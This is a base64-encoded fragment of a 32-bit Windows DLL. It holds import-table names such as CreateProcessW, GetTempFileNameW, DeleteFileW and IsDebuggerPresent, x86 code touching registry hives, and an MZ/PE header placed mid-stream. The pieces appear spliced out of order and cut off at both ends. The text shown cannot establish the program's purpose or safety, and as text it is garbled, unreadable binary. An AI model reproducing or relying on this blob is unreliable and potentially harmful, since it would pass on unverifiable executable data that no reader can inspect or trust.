QAEBQEAFAUBACoFAQA6BQEARgUBAFYFAQBkBQEAdAUBAIQFAQCUBQEApgUBALgFAQDKBQEA2gUBAAAAAAAEAQEAAAAAACYBAQAAAAAA6gABAAAAAADqAUdldEZpbGVBdHRyaWJ1dGVzVwAAhwFHZXRDb21tYW5kTGluZVcAhQJHZXRUZW1wUGF0aFcAAIMCR2V0VGVtcEZpbGVOYW1lVwAAcwRTZXRMYXN0RXJyb3IAAKgAQ3JlYXRlUHJvY2Vzc1cAAAICR2V0TGFzdEVycm9yAAD5BFdhaXRGb3JTaW5nbGVPYmplY3QA3wFHZXRFeGl0Q29kZVByb2Nlc3MAAFIAQ2xvc2VIYW5kbGUAsgRTbGVlcABIA0xvY2FsRnJlZQBLRVJORUwzMi5kbGwAABUCTWVzc2FnZUJveFcAVVNFUjMyLmRsbAAABgBDb21tYW5kTGluZVRvQXJndlcAAFNIRUxMMzIuZGxsAEUAUGF0aEZpbGVFeGlzdHNXAFNITFdBUEkuZGxsANYARGVsZXRlRmlsZVcAYwJHZXRTdGFydHVwSW5mb1cAwARUZXJtaW5hdGVQcm9jZXNzAADAAUdldEN1cnJlbnRQcm9jZXNzANMEVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAAClBFNldFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAA0lzRGVidWdnZXJQcmVzZW50AO4ARW50ZXJDcml0aWNhbFNlY3Rpb24AADkDTGVhdmVDcml0aWNhbFNlY3Rpb24AABgEUnRsVW53aW5kAGYEU2V0RmlsZVBvaW50ZXIAAGcDTXVsdGlCeXRlVG9XaWRlQ2hhcgDAA1JlYWRGaWxlAAAlBVdyaXRlRmlsZQARBVdpZGVDaGFyVG9NdWx0aUJ5dGUAmgFHZXRDb25zb2xlQ1AAAKwBR2V0Q29uc29sZU1vZGUAAM8CSGVhcEZyZWUAABgCR2V0TW9kdWxlSGFuZGxlVwAARQJHZXRQcm9jQWRkcmVzcwAAGQFFeGl0UHJvY2VzcwBkAkdldFN0ZEhhbmRsZQAAEwJHZXRNb2R1bGVGaWxlTmFtZUEAABQCR2V0TW9kdWxlRmlsZU5hbWVXAABhAUZyZWVFbnZpcm9ubWVudFN0cmluZ3NXANoBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAbwRTZXRIYW5kbGVDb3VudAAA8wFHZXRGaWxlVHlwZQBiAkdldFN0YXJ0dXBJbmZvQQDRAERlbGV0ZUNyaXRpY2FsU2VjdGlvbgDHBFRsc0dldFZhbHVlAMUEVGxzQWxsb2MAAMgEVGxzU2V0VmFsdWUAxgRUbHNGcmVlAO8CSW50ZXJsb2NrZWRJbmNyZW1lbnQAAMUBR2V0Q3VycmVudFRocmVhZElkAADrAkludGVybG9ja2VkRGVjcmVtZW50AADNAkhlYXBDcmVhdGUAAOwEVmlydHVhbEZyZWUApwNRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgCTAkdldFRpY2tDb3VudAAAwQFHZXRDdXJyZW50UHJvY2Vzc0lkAHkCR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUAcgFHZXRDUEluZm8AaAFHZXRBQ1AAADcCR2V0T0VNQ1AAAAoDSXNWYWxpZENvZGVQYWdlAI8AQ3JlYXRlRmlsZVcA4wJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50AIcEU2V0U3RkSGFuZGxlAABXAUZsdXNoRmlsZUJ1ZmZlcnMAABoFV3JpdGVDb25zb2xlQQCwAUdldENvbnNvbGVPdXRwdXRDUAAAJAVXcml0ZUNvbnNvbGVXAMsCSGVhcEFsbG9jAOkEVmlydHVhbEFsbG9jAADSAkhlYXBSZUFsbG9jADwDTG9hZExpYnJhcnlBAAArA0xDTWFwU3RyaW5nQQAALQNMQ01hcFN0cmluZ1cAAGYCR2V0U3RyaW5nVHlwZUEAAGkCR2V0U3RyaW5nVHlwZVcAAAQCR2V0TG9jYWxlSW5mb0EAAFMEU2V0RW5kT2ZGaWxlAABKAkdldFByb2Nlc3NIZWFwAACIAENyZWF0ZUZpbGVBANQCSGVhcFNpemUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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